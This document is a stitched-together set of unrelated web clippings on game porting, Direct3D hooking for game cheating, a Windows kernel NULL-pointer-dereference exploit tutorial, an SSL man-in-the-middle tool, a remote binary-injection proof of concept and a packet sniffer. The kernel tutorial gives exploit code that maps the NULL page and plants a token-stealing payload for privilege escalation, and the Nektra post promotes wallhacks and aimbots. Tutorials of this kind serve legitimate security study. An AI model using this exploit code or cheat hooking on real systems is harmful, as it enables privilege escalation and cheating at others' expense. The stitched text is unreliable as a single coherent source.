for (p = palette, x = 0; x < 256; x++, p += 3)  
{  
colors[x].r = p[0] * 4;  
colors[x].g = p[1] * 4;  
colors[x].b = p[2] * 4;  
printf("[ %i %i %i ], ", colors[x].r,colors[x].g,colors[x].b );  
}  
  
if (SDL_SetPalette(screen, SDL_LOGPAL | SDL_PHYSPAL, colors, 0, 256) != 1)  
fprintf(stderr, "set_palette() failed\n");  
}`  
  
And the same had to be done with resolution changing, on screen rendering,
etc.  
  
Finally, after some days, we saw the intro\! Kinda... \(the colors were OK\)  
<img src='img/Temp2_10291.png' alt='intro... kinda' />  
  
That evening we worked until we finally got the proper intro showing up,
playing at hi-speed \(the timers were just stubs at that time\), and finally
crashing :\)  
  
The last thing we did in this attempt, was displaying the menu. After that
Unavowed moved abroad, got offline, and the project was forgotten, and waited
for its own time....  
  

## The final attempt

  
You know how it is – when you got that far, something might be forgotten, but
it will pop up from time to time.  
  
About two years ago the project was revived, but we decided to start from
scratch – we learned a few things here and there, gained some experience, and
we thought that it could be done better.  
  
So, Unavowed created a new disassembler, this time based on the binutils
package, that created re-compilable listings in GNU Assembler \(as\) format,
AT&T style this time \(he he he I can see some of you going 'at&t??? omg blah
yuck'\). The first disassembler did not give us any guarantee that its output
could be correctly recompiled, because it walked linearly through the bytes in
the image, so the new version traced all branching instructions to map out all
reachable code. Also the wrapper creating script and the C part of the port
were rewritten.  
  
Having notes from the previous attempts, we got to the same point very fast,
and keyboard, mouse, and timers became our focus.  
Well, I guess I can't tell you nothing new here – the previously used method
was good enough, and in a few days work we got the first level of the game
running.  
Also, Unavowed insisted on playing the game music from ogg files, and that
also was implemented at that time, as well as resizing \(not resampling, we
wanted to keep the old school looks\) the 320x200 parts of the game \(videos
and low-res-mode in the game itself\) to 640x480.  
A few more days, and Unavowed got the sound hooked with OpenAL, and it even
stopped sounding like 'gzzzzzbzzzzzzmzzzzfzjiiiiiiiiiiiiiiiitbrrrrrrrrrrr\!'
:\)  
  
Well, it was far from being completed – some parts of menu crashed, and also
the game crashed when starting the second mission.  
  
Uh, that second bug took as two weeks to sort out\! The funniest thing was
that it was not in our code, but in the original code. And when we fixed it,
and checked the cross-references, we found out that there actually is a flag
/g, that could be provided in the command line, that “turned off” this bug.
And guess what – there was a BAT script in the original game that looked like
this:  
  
`@main /w /g`  
  
I could say that we wasted some time there, but no.. we learned a thing or two
there :\)  
  
In the meantime, both Unavowed and me got access to Macs, and we decided to
port the game to OSX too.  
I would like to say that porting to OSX went smooth and without any problems.
Yes, really, I would like to say that, but I can't, since it was terrible.  
  
First of all, OSX has some terribly old binutils version, that didn't like
some directives or other syntax figures that we used \(e.g., instead of
**.global** keyword, the OSX binutils expected **.globl**\).  
Additionally, we found out that the OSX ABI needs the stack to be aligned to
16 bytes on each function entry, which did not appear on other platforms we
had Syndicate Wars Port running on.  
But even after this, we got really strange crashes in the OSX version, with
the execution landing in the middle of instructions. It turned out that the
Apple version of the binutils assembler badly compiled loop and loopnz
instructions. The target address would always be compiled as a few bytes off
of the real target. To fix this, and the problem with unsupported directives,
we wrote a filter that replaced modern directives with ancient directives, and
replaced loop/loopnz with more instructions that did the same job.  
Also, there were some other more or less time consuming issues, but finally,
we got it running on OSX too.  
  
<img src='img/Temp2_10290.png' alt='SWars Port running on Mac with a bottle of
Chanoine in the background' />  
  
Well, since the reverse-engineering work was done, we started to gather the
library licenses, j00ru has written a command line CDDA ripper for us, and Xa
has made a cool looking icon and the graphics for the project site. And the
ring, er, the project, was forgotten again.  
  
Until a week ago, when we finally decided that a year is enough, and a
finished project should be published \(maybe someone else also wants to play
this game\). Of course, during this year both Windows 7 and Mac OSX 10.6 came
out, and we found out that there are some minor problems compiling /
installing the Port on these systems. Well, actually the Windows one was
related to x86-64 mode, not to Windows 7 itself, but I found it out later.  
  
Anyway, the end of this story is known to you – we've finally released it, it
can be downloaded, there are some screen shots, there is a video.  
  
At the end, I would like to thank Unavowed for a chance taking part in this
project. Additional thanks go toj00ru, MeMeK, oshogbo, Blount, and xa for
contributions. Also, I would like to thank joostp for his positive feedback
during making of the Port, and Arashi for patience :\) Thanks :\)  
  
<img src='img/Temp2_10292.png' alt='Victory' />  

  

# Intercepting Direct3D COM Objects and Making Game Walls Invisible | Nektra Advanced Computing Blog
**Created:**| _2/24/2014 9:05:41 PM_  
---|---  
**Updated:**| _2/24/2014 9:05:41 PM_  
**Author:**| __  
**Tags:**| _windows environment animation_  
  

# **I** ntercepting Direct3D COM Objects and Making Game Walls Invisible****

July 1st, 2013 | Posted by Sebastian Wain  in C\#  | C++  | Deviare  | Games 
## Using Deviare to Cheat on Games****

This  simple Deviare code allows you to to see through game walls**.** We
intercept Direct3D objects and select wireframe mode so the walls are
transparent**.** This code injects a DLL to create an object based on the
IDirect3D9  interface and hook the address of the CreateDevice  COM method
from the virtual table**.** The hooked CreateDevice COM method receives an
object with IDirect3DDevice9  interface, which is used to set the wireframe
mode by calling pDeviceInterface->SetRenderState \(D3DRS\_FILLMODE,
D3DFILL\_WIREFRAME\)**.** The
pDeviceInterface->SetRenderState\(D3DRS\_FILLMODE, D3DFILL\_SOLID\) call
reverts to the solid mode**.** You can switch between the wireframe and the
solid modes by using the INSERT and DELETE keys**.**

Deviare can be used to develop a lot of other game tools**.** Some ideas to
try yourself are:

  * Hooking the random function in the Minesweeper to return zero and solve the game with just one click
  * Retrieving the 3D models from games which encrypt them
  * Implementing an Aimbot 

It would be a dangerous thing for the gamer community if streamed online games
such as OnLive  succeeded**.** You cannot reverse engineer the cloud **.**
Game cheating has a long early history, it would be bad to cut it**.** Gamers
have been cheating on video games since their invention**.** It would be a
shame to stop the fun**.**

## Prerequisites****

  1. Deviare interception engine 

## Acknowledgments****

Code sample written by Douglas from Nektra**.**

## If you like this article, you might also like**** :

cheating , createdevice , deviare , direct3d , fillmode , gaming , hooking ,
idirect3d9 , idirect3ddevice9 , setrenderstate , wireframe

You can follow any responses to this entry through the RSS 2**.** 0  Responses
are currently closed, but you can trackback **.**

****

# abatchy's blog | \[Kernel Exploitation\] 6: NULL pointer dereference
**Created:**| _3/7/2018 8:44:09 AM_  
---|---  
**Updated:**| _3/7/2018 8:44:09 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

Wednesday, January 17, 2018

  * Kernel Exploitation

# \[Kernel Exploitation\] 6: NULL pointer dereference

_Exploit code can be foundhere._

* * *
### 0\. Kernel-mode heaps \(aka pools\)

Heaps are dynamically allocated memory regions, unlike the stack which is
statically allocated and is of a defined size.

Heaps allocated for kernel-mode components are called pools and are divided
into two main types:

  1. **Non-paged pool** : These are guaranteed to reside in the RAM at all time, and are mostly used to store data that may get accessed in case of a hardware interrupt \(at that point, the system can’t handle page faults\). Allocating such memory can be done through the driver routine `ExAllocatePoolWithTag`.
  2. **Paged pool** : This memory allocation can be paged in and out the paging file, normally on the root installation of Windows \(Ex: C:\pagefile.sys\).

Allocating such memory can be done through the driver routine
`ExAllocatePoolWithTag` and specifying the `poolType` and a 4 byte “tag”.

To monitor pool allocations you can use `poolmon`.

If you want to know more about this topic, I strongly recommend reading
“Pushing the Limits of Windows: Paged and Nonpaged Pool” post and \(the entire
series too\!\).

* * *
### 1\. The vulnerability

Link to code here.

[code]

    NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
        ULONG UserValue = 0;
        ULONG MagicValue = 0xBAD0B0B0;
        NTSTATUS Status = STATUS_SUCCESS;
        PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
    
        PAGED_CODE();
    
        __try {
            // Verify if the buffer resides in user mode
            ProbeForRead(UserBuffer,
                         sizeof(NULL_POINTER_DEREFERENCE),
                         (ULONG)__alignof(NULL_POINTER_DEREFERENCE));
    
            // Allocate Pool chunk
            NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                      ExAllocatePoolWithTag(NonPagedPool,
                                                            sizeof(NULL_POINTER_DEREFERENCE),
                                                            (ULONG)POOL_TAG);
    
            if (!NullPointerDereference) {
                // Unable to allocate Pool chunk
                DbgPrint("[-] Unable to allocate Pool chunk\n");
    
                Status = STATUS_NO_MEMORY;
                return Status;
            }
            else {
                DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
                DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
                DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
                DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
            }
    
            // Get the value from user mode
            UserValue = *(PULONG)UserBuffer;
    
            DbgPrint("[+] UserValue: 0x%p\n", UserValue);
            DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
    
            // Validate the magic value
            if (UserValue == MagicValue) {
                NullPointerDereference->Value = UserValue;
                NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
    
                DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
                DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
            }
            else {
                DbgPrint("[+] Freeing NullPointerDereference Object\n");
                DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
                DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
    
                // Free the allocated Pool chunk
                ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
    
                // Set to NULL to avoid dangling pointer
                NullPointerDereference = NULL;
            }
    
    #ifdef SECURE
            // Secure Note: This is secure because the developer is checking if
            // 'NullPointerDereference' is not NULL before calling the callback function
            if (NullPointerDereference) {
                NullPointerDereference->Callback();
            }
    #else
            DbgPrint("[+] Triggering Null Pointer Dereference\n");
    
            // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
            // because the developer is not validating if 'NullPointerDereference' is NULL
            // before calling the callback function
            NullPointerDereference->Callback();
    #endif
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            Status = GetExceptionCode();
            DbgPrint("[-] Exception Code: 0x%X\n", Status);
        }
    
        return Status;
    }
    
[/code]

Non-paged pool memory is allocated of size `NULL_POINTER_DEREFERENCE` with
4-bytes tag of value `kcaH`. `NULL_POINTER_DEREFERENCE`struct contains two
fields:

[code]

        typedef struct _NULL_POINTER_DEREFERENCE {
            ULONG Value;
            FunctionPointer Callback;
    } NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;
    
[/code]

The size of this struct is 8 bytes on x86 and contains a function pointer. If
the user-supplied buffer contains `MagicValue`, the function pointer
`NullPointerDereference->Callback` will point to
`NullPointerDereferenceObjectCallback`. But what happens if we don’t submit
that value?

In that case, the pool memory gets freed and `NullPointerDereference` is set
to NULL to avoid a dangling pointer. But this is only as good as validation
goes, so everytime you use that pointer you need to check if it’s NULL, just
setting it to NULL and not performing proper validation could be disastrous,
like in this example. In our case, the `Callback` is called without validating
if this inside a valid struct, and it ends up reading from the NULL page
\(first 64K bytes\) which resides in usermode.

In this case, `NullPointerDereference` is just a struct at `0x00000000` and
`NullPointerDereference->Callback()` calls whatever is at address
`0x00000004`. How are we going to exploit this?

The exploit will do the following:

  1. Allocate the NULL page.
  2. Put the address of the payload at `0x4`.
  3. Trigger the NULL page dereferencing through the driver IOCTL.

* * *
### Brief history on mitigation effort for NULL page dereference
vulnerabilities

Before we continue, let’s discuss the efforts done in Windows to prevent
attacks on NULL pointer dereference vulnerabilities.

  * EMET \(Enhanced Mitigation Experience Toolkit\), a security tool packed with exploit mitigations offered protection against NULL page dereference attacks by simply allocating the NULL page and marking it as “NOACCESS”. EMET is now deprecated and some parts of it are integrated into Windows 10, called Exploit Protection.
  * Starting Windows 8, allocating the first 64K bytes is prohibited. The only exception is by enabling NTVDM but this has been disabled by default.

Bottom line: vulnerability is not exploitable on our Windows 10 VM. If you
really want to exploit it, enable NTVDM, then you’ll have to bypass SMEP
\(part 4 discussed this\).

Recommended reads:

  * Exploit Mitigation Improvements in Windows 8
  * Windows 10 Mitigation Improvements

* * *
### 2\. Allocating the NULL page

Before we talk with the driver, we need to allocate our NULL page and put the
address of the payload at `0x4`. Allocating the NULL page through
`VirtualAllocEx` is not possible, instead, we can resolve the address of
`NtAllocateVirtualMemory` in `ntdll.dll` and pass a small non-zero base
address which gets rounded down to NULL.

To resolve the address of the function, we’ll use `GetModuleHandle` to get the
address of `ntdll.dll` then `GetProcAddress` to get the process address.

[code]

    typedef NTSTATUS(WINAPI *ptrNtAllocateVirtualMemory)(
    	HANDLE ProcessHandle,
    	PVOID *BaseAddress,
    	ULONG ZeroBits,
    	PULONG AllocationSize,
    	ULONG AllocationType,
    	ULONG Protect
    	);
    
    	ptrNtAllocateVirtualMemory NtAllocateVirtualMemory = (ptrNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
    	if (NtAllocateVirtualMemory == NULL)
    	{
    		printf("[-] Failed to export NtAllocateVirtualMemory.");
    		exit(-1);
    	}
    
[/code]

Next we need to allocate the NULL page:

[code]

    	// Copied and modified from http://www.rohitab.com/discuss/topic/34884-c-small-hax-to-avoid-crashing-ur-prog/
    LPVOID baseAddress = (LPVOID)0x1;
    ULONG allocSize = 0x1000;
    char* uBuffer = (char*)NtAllocateVirtualMemory(
    	GetCurrentProcess(),
    	&baseAddress,						// Putting a small non-zero value gets rounded down to page granularity, pointing to the NULL page
    	0,
    	&allocSize,
    	MEM_COMMIT | MEM_RESERVE,
    	PAGE_EXECUTE_READWRITE);
    
[/code]

To verify if that’s working, put a `DebugBreak` and check the memory content
after writing some dummy value.

[code]

    DebugBreak();
    *(INT_PTR*)uBuffer = 0xaabbccdd;
    
[/code]

[code]

    kd> t
    KERNELBASE!DebugBreak+0x3:
    001b:7531492f ret
    
    kd> ? @esi
    Evaluate expression: 0 = 00000000
    
    kd> t
    HEVD!main+0x1a4:
    001b:002e11e4 mov     dword ptr [esi],0AABBCCDDh
    
    kd> t
    HEVD!main+0x1aa:
    001b:002e11ea movsx   ecx,byte ptr [esi]
    
    kd> dd 0
    00000000  aabbccdd 00000000 00000000 00000000
    00000010  00000000 00000000 00000000 00000000
    00000020  00000000 00000000 00000000 00000000
    00000030  00000000 00000000 00000000 00000000
    00000040  00000000 00000000 00000000 00000000
    00000050  00000000 00000000 00000000 00000000
    00000060  00000000 00000000 00000000 00000000
    00000070  00000000 00000000 00000000 00000000
    
[/code]

A nice way to verify the NULL page is allocated, is by calling
`VirtualProtect` which queries/sets the protection flags on memory segments.
`VirtualProtect` returning false means the NULL page was not allocated.

* * *
### 3\. Controlling execution flow

Now we want to put our payload address at `0x00000004`:

[code]

    *(INT_PTR*)(uBuffer + 4) = (INT_PTR)&StealToken;
    
[/code]

Now create a dummy buffer to send to the driver and put a breakpoint at
`HEVD!TriggerNullPointerDereference + 0x114`.

[code]

    kd> dd 0
    00000000  00000000 0107129c 00000000 00000000
    00000010  00000000 00000000 00000000 00000000
    00000020  00000000 00000000 00000000 00000000
    00000030  00000000 00000000 00000000 00000000
    00000040  00000000 00000000 00000000 00000000
    00000050  00000000 00000000 00000000 00000000
    00000060  00000000 00000000 00000000 00000000
    00000070  00000000 00000000 00000000 00000000
    
[/code]

Finally, after executing the token stealing payload, a `ret` with no stack
adjusting will do.

<img src='img/kernel7.png' width='579' height='293' alt='Exploit_screenshot'
/>

### 4\. Porting to Windows 7 x64

To port the exploit, you only need to adjust the offset at which you write the
payload address as the struct size becomes 16 bytes. Also don’t forget to swap
out the payload.

[code]

    *(INT_PTR*)(uBuffer + 8) = (INT_PTR)&StealToken;
    
[/code]

* * *
\- Abatchy

  * __ __
  * __ __
  * __ __
  * __ __

  * 0 comments
  * **abatchy17.github.io**
  * Login
  * 1

  *  Recommend
  * ⤤ Share
  * Sort by Best

<img src='img/13130_noavatar92.7b2fde640943965cc88df0cdee365907.png'
width='48' height='48' alt='Avatar' />

Start the discussion…

  

  * Attach

###### Log in with

  *   *   *   * 

######  or sign up with Disqus

?

### Disqus is a discussion network

  * Disqus never moderates or censors. The rules on this community are its own.
  * Don't be a jerk or do anything illegal. Everything is easier that way.

Read full terms and conditions

Be the first to comment.

  * Powered by Disqus
  *  _✉_ Subscribe _✔_
  *  _d_ Add Disqus to your site
  *  _🔒_ Privacy

<img src='' width='0' height='0' /><img src='' width='0' height='0' /><img
src='' width='0' height='0' /><img src='' width='0' height='0' />

<img src='' width='0' height='0' />

  

# flat assembler - View topic - fasmcon 2009

**Created:**| _9/4/2009 7:19:00 AM_  
---|---  
**Updated:**| _9/4/2009 7:19:06 AM_  
**Author:**| __  
**Tags:**| _conference-material_  
  
**xvid videos about 7,4 times smaller than mpg**

William Whistler \(UK\), Karel Lejska \(MazeGen, Czechia\)  
A crash course on Manual x86 Instruction Disassembly  
286 MB part0:  
http://tokk.biz/fasmcon2009/M2U00501.avi  
16 MB part1:  
http://tokk.biz/fasmcon2009/M2U00502.avi  
  
Martin Mocko \(vid, Slovakia\)  
Intel Virtualization \(VT-x\) Tutorial  
286 MB part0:  
http://tokk.biz/fasmcon2009/M2U00503.avi  
76 MB part1:  
http://tokk.biz/fasmcon2009/M2U00504.avi  
  
Madis Kalme \(Madis731, Estonia\)  
SMP initialization and Interprocessor interrupts  
211 MB  
http://tokk.biz/fasmcon2009/M2U00506.avi  
  
František Gábriš \(Feryno, Czechoslovakia\)  
Turning off Hypervisor and Resuming OS in 100 Instructions  
286 MB part0  
http://tokk.biz/fasmcon2009/M2U00507.avi  
16 MB part1  
http://tokk.biz/fasmcon2009/M2U00508.avi  
updated and corrected presentation in ppt format:  
http://fdbg.x86asm.net/Turning\_off\_hypervisor\_and\_resuming\_OS\_in\_100\_instructions.ppt  
  
Tomasz Grysztar \(Poland\)  
Ideas for fasm 2, a new fasm fork  
122 MB  
http://tokk.biz/fasmcon2009/M2U00510.avi  
  
Łukasz Szańca \(Ender, Poland\)  
Fast Fourier Transform & what really fast can we do it  
190 MB part0 \(some small part of begin is irreversible missing...\)  
http://tokk.biz/fasmcon2009/M2U00511.avi  
15 MB part1  
http://tokk.biz/fasmcon2009/M2U00512.avi  
  
The world biggest battle for beer  
36 MB  
http://tokk.biz/fasmcon2009/M2U00513.avi  
Must be seen even in case you missed all presentations\!\!\!

# SSLsplit - transparent and scalable SSL/TLS interception \(SSLsplit\)

**Created:**| _10/18/2014 4:39:50 PM_  
---|---  
**Updated:**| _10/18/2014 4:39:50 PM_  
**Author:**| __  
**Tags:**| _network-security ssl mitm_  
  

# SSLsplit - transparent and scalable SSL/TLS interception

Latest release: sslsplit-0.4.8.tar.bz2 \(.asc\) \(sslsplit\(1\)\)

## Overview

SSLsplit is a tool for man-in-the-middle attacks against SSL/TLS encrypted
network connections. Connections are transparently intercepted through a
network address translation engine and redirected to SSLsplit. SSLsplit
terminates SSL/TLS and initiates a new SSL/TLS connection to the original
destination address, while logging all data transmitted. SSLsplit is intended
to be useful for network forensics and penetration testing.

SSLsplit supports plain TCP, plain SSL, HTTP and HTTPS connections over both
IPv4 and IPv6. For SSL and HTTPS connections, SSLsplit generates and signs
forged X509v3 certificates on-the-fly, based on the original server
certificate subject DN and subjectAltName extension. SSLsplit fully supports
Server Name Indication \(SNI\) and is able to work with RSA, DSA and ECDSA
keys and DHE and ECDHE cipher suites. SSLsplit can also use existing
certificates of which the private key is available, instead of generating
forged ones. SSLsplit supports NULL-prefix CN certificates and can deny OCSP
requests in a generic way. SSLsplit removes HPKP response headers in order to
prevent public key pinning.

## Usage

[code]

    % sslsplit -h
    Usage: sslsplit [options...] [proxyspecs...]
      -c pemfile  use CA cert ( )  pemfile  sign forged certs
      -k pemfile  use CA  ( cert)  pemfile  sign forged certs
      -C pemfile  use CA chain  pemfile (intermediate  root CA certs)
      -K pemfile  use   pemfile  leaf certs (default: generate)
      -t certdir  use cert+chain+ PEM files  certdir  target  sites
                  matching the common names (non-matching: generate if CA)
      -O          deny  OCSP requests   proxyspecs
      -P          passthrough SSL connections if they cannot be split because 
                  client cert auth   matching cert   CA (default: )
      -g pemfile  use DH group params  pemfile (default: keyfiles  auto)
      -G curve    use ECDH named curve (default: secp160r2  non-RSA leafkey)
      -Z          disable SSL/TLS compression   connections
      -s ciphers  use the given OpenSSL cipher suite spec (default: :-aNULL)
      -e engine   specify default NAT engine  use (default: ipfw)
      -E          list available NAT engines  exit
      -u       privileges   (default if run  root: nobody)
      -j jaildir  chroot()  jaildir (default if run  root: /var/empty)
      -p pidfile  write pid  pidfile (default:  pid file)
      -l logfile  connect log: log one line summary per connection  logfile
      -L logfile  content log:  data  file  named pipe (excludes -S)
      -S logdir   content log:  data  separate files  dir (excludes -L)
      -d          daemon mode: run  background, log error messages  syslog
      -D          debug mode: run  foreground, log debug messages  stderr
      -V          print version information  exit
      -h          print usage information  exit
      proxyspec = type listenaddr+port [natengine|targetaddr+port|"sni"+port]
      e.g.        http .  www.roe.ch   # http/; static hostname dst
                  https ::  :db8::    # https/; static address dst
                  https 127.0.  sni      # https/; SNI DNS lookups
                  tcp 127.0. 10025              # tcp/; default NAT engine
                  ssl :db8::  pf          # ssl/; NAT engine 
    Example:
      sslsplit -k ca. -c ca.pem -P  https 127.0.   https :: 
    
[/code]

See the manual page sslsplit\(1\) for details on using SSLsplit and setting up
the various NAT engines.

## Requirements

SSLsplit depends on the OpenSSL and libevent 2.x libraries. The build depends
on GNU make and a POSIX.2 environment in `PATH`. The \(optional\) unit tests
depend on the check library.

SSLsplit currently supports the following operating systems and NAT engines:

  * FreeBSD: pf rdr and divert-to, ipfw fwd, ipfilter rdr
  * OpenBSD: pf rdr-to and divert-to
  * Linux: netfilter REDIRECT and TPROXY
  * Mac OS X: ipfw fwd and pf rdr \(experimental\)

## Installation

SSLsplit is or will be available as a package or port on the following
systems:

To install from source:

[code]

    make
    make        # optional unit tests
    make install    # optional install
    
[/code]

Dependencies are autoconfigured using pkg-config. If dependencies are not
picked up and fixing `PKG_CONFIG_PATH` does not help, you can specify their
respective locations manually by setting `OPENSSL_BASE`, `LIBEVENT_BASE`
and/or `CHECK_BASE` to the respective prefixes.

You can override the default install prefix \(`/usr/local`\) by setting
`PREFIX`.

## Development

SSLsplit is being developed on Github. For bug reports, please use the Github
issue tracker. For patch submissions, please send me pull requests.

https://github.com/droe/sslsplit

You can track releases on freecode \(FreshMeat\):

http://freecode.com/projects/sslsplit

## License

SSLsplit is provided under the simplified BSD license. SSLsplit contains
components licensed under the MIT and APSL licenses. See the respective source
file headers for details.

## Credits

SSLsplit was inspired by `mitm-ssl` by Claes M. Nyberg and `sslsniff` by Moxie
Marlinspike, but shares no source code with them.

SSLsplit includes `khash.h` by Attractive Chaos.

## Further Reading

<img src='img/Temp2_7204.png' alt='Fork me on GitHub' />

# JhetoX/SimpleSpreadPanel

**Created:**| _5/12/2015 11:38:55 AM_  
---|---  
**Updated:**| _5/12/2015 11:38:55 AM_  
**Author:**| __  
**Tags:**| _post-exploitation_  
  

# JhetoX/SimpleSpreadPanel

[code]

    SSP (Simple Spread Panel)
    =========================
    
    This is a POC to demostrate how to inject binary files into a windows remote machines.
    
    When I wrote this proof of concept in 2011, Microsoft and the idiots of its researchers, involved me in the legal process Zeus / SpyEye, according to them I was in charge of this inject banking Trojan in the internet, this is not true, it ruined my life, now I can not get job for this.
    
    In this PDF http://www.zeuslegalnotice.com/images/Complaint_w_Appendices.pdf appears my old email jheto2002@gmail.com and say this text: Plaintiffs are informed and believe and thereupon allege that John Doe 38 goes by the alias “jheto2002” and may be contacted at email address jheto2002@gmail.com. Upon information and belief, John Doe 38 is involved in creating injection code to deliver the Zeus/SpyEye code.
    
    Because all things one pearson write this article on Forbes about me.
    
    A Hacker's Guide To Finding A Job: http://www.forbes.com/sites/jasperhamill/2014/06/30/a-hackers-guide-to-finding-a-job/
    
    This project contains two subprojects, Banner and WebPanel, Banner is a simple java applet with a WSH dropper and WebPanel is a web app to injects binary files.
    
    Sure, SSP are used to inject Zeus / SpyEye, you need are a big stupid to think this.
    
    This code was developed by me: Jheto Xekri
    
    You can contact me in:
    
    Profile web: http://about.me/jheto.xekri
    or by Email: jheto.xekri@outlook.com
    or by Whatsapp: +573122844198
    or by Viber: +573122844198
    or by Skype: jheto.xekri
    
    Donations:
    
    Coinbase: 1NzDu9iuZJPbsyQJxMFtk4YfWPMyVgNea1
    Paypal: jheto.xekri@outlook.com
    
[/code]

# RawCap sniffer for Windows released - NETRESEC Blog

**Created:**| _4/13/2011 7:45:40 AM_  
---|---  
**Updated:**| _4/13/2011 7:45:40 AM_  
**Author:**| __  
**Tags:**| _analysis network-security windows environment_  
  

## RawCap sniffer for Windows released

<img src='img/RawCap_logo_PA2_180x180.png' alt='RawCap sniffer' />

We are today proude to announce the release of RawCap, which is a free raw
sockets sniffer for Windows.

Here are some highlights of why RawCap is a great tool to have in your
toolset:

  * Can sniff any interface that has got an IP address, including 127.0.0.1 \(localhost/loopback\)
  * RawCap.exe is just 17 kB
  * No external libraries or DLL's needed
  * No installation required, just download RawCap.exe and sniff
  * Can sniff most interface types, including WiFi and PPP interfaces
  * Minimal memory and CPU load
  * Reliable and simple to use

**Usage**

RawCap takes two arguments; the first argument is the IP address or interface
number to sniff from, the second is the path/file to write the captured
packets to.

> C:\Tools>RawCap.exe 192.168.0.23 dumpfile.pcap
You can also start RawCap without any arguments, which will leave you with an
interactive dialog where you can select NIC and filename:

> C:\Tools>RawCap.exe  
>  Network interfaces:  
>  0\. 192.168.0.23 Local Area Connection  
>  1\. 192.168.0.47 Wireless Network Connection  
>  2\. 90.130.211.54 3G UMTS Internet  
>  3\. 192.168.111.1 VMware Network Adapter VMnet1  
>  4\. 192.168.222.1 VMware Network Adapter VMnet2  
>  5\. 127.0.0.1 Loopback Pseudo-Interface  
>  Select network interface to sniff \[default '0'\]: 1  
>  Output path or filename \[default 'dumpfile.pcap'\]:  
>  Sniffing IP : 192.168.0.47  
>  File : dumpfile.pcap  
>  Packets : 1337
**For Incident Responders**

RawCap comes in very handy for incident responders who want to be able to
sniff network traffic locally at the clients of the corporate network. Here
are a few examples of how RawCap can be used for incident response:

  1. A company laptop somewhere on the corporate network is believed to exfiltrate sensitive coporate information to a foreign server on the Internet by using a UMTS 3G connection on a USB dongle. After finding the internal IP address on the corporate network the Incident Response Team \(IRT\) use the Sysinternals tool PsExec to inject RawCap.exe onto the laptop and sniff the packets being exfiltrated through the 3G connection. The generated pcap file can be used to determine what the external 3G connection was used for.
  2. A computer is suspected to be infected with malware that uses an SSL tunnelling proxy \(stunnel\) to encrypt all Command-and-Control \(C&C\) communication. The data that is to be sent into the tunnel is first sent unencrypted to localhost \(127.0.0.1 aka loopback interface\) before it enters the encrypted tunnel. Incident responders can use RawCap to sniff the traffic to/from localhost on the Windows OS, which is something other sniffing tools cannot do.
  3. A corporate laptop connected to the companies WPA2 encrypted WiFi is found to have suspicious TCP sessions opened to other computers on the same WiFi network. Incident responders can run RawCap locally on any of those machines in order to capture the WiFi network traffic to/from that machine in unencrypted form.

**For Penetration Testers**

RawCap was not designed for pen-testers, but I realize that there are some
situations where the tool can come in hany when doing a penetration test. Here
are some examples:

  1. After getting remote access and admin privileges on a Windows XP machine the pen-tester wanna sniff the network traffic of the machine in order to get hold of additional credentials. Sniffing tools like dumpcap, WinDump and NMCap can unfortunately not be used since no WinPcap or NDIS driver is installed. RawCap does, however, not need any special driver installed since it makes use of the Raw Sockets functionality built into Windows. Pen-testers can therefore run RawCap.exe to sniff traffic without installing any drivers.
  2. After getting admin on a box the pen-tester wanna sniff the network traffic, but box uses a WiFi network so traditional sniffing tools won't work. This is when RawCap comes in handy, since it can sniff the WiFi traffic of the owned machine just as easily as if it had been an Ethernet NIC.

**Download RawCap**

RawCap is provided for free and can be downloaded from here:  
http://www.netresec.com/?page=RawCap

# DevEvening - Introduction to Git & PowerShell - Mark Embling

**Created:**| _1/29/2010 2:32:02 PM_  
---|---  
**Updated:**| _1/29/2010 2:32:11 PM_  
**Author:**| __  
**Tags:**| _powershell programming Git_  
  

### DevEvening - Introduction to Git & PowerShell

Posted on 29 January 2010 14:04, Tagged: devevening, git, powershell, talk

Last night at DevEvening I did my first user group talk: an introduction to
Git and PowerShell. As promised at the time, I have collected together some
relevant links and made my slides available to download.

<img src='img/Temp2_2150.png' alt='DevEvening' />Overall, I think the talk
went alright. Since it was my first one I am certain there are improvements I
could make in the future, but hopefully I got across the potential advantages
of the tools I like to use and whetted people's appetites for what could be
done with them and their potential applications.

### Links & Downloads

  * My slides \(PDF, XPS, PPTX\)
  * Blog post about my Git environment on Windows \(contains links to all the tools\)
  * Blog post - PowerShell prompt with Git integration
  * Blog post - SSH Agent in PowerShell
  * Blog post - Setting up a Git Server using Gitosis & Cygwin
  * Jeremy's Git Guide \- written for contributing to the MvcContrib project, but still relevant to general Git usage.
  * TortoiseGit \- for those who'd prefer to work with a GUI tool

In addition to the command line tools and TortoiseGit, several people seemed
interested in having a Visual Studio add-in for using Git. As I said at the
time, I generally prefer to use the command line and therefore couldn't really
give a good answer as to whether such a thing existed. However, I did a quick
google search and it would appear that there is such a thing - Git Extensions
seems to be another Windows Explorer integrating add-in \(along similar lines
as TortoiseGit I would guess\) but which also comes with a Visual Studio add-
in. Needless to say, I haven't tried it myself so can't comment on how good it
is, but there have been several positive comments about it so it may well be
worth a look.

Once again, thanks to everyone who came along and listened to me and asked
questions, and to Matt Lacey for running the event every month. If anyone has
any comments on the talk, feel free to comment or tweet me.

# Patrick Wagner - Witze - Job und Karriere

**Created:**| _11/10/2011 3:12:45 PM_  
---|---  
**Updated:**| _11/10/2011 3:12:45 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# Der berufliche Fehler und seine Folgen

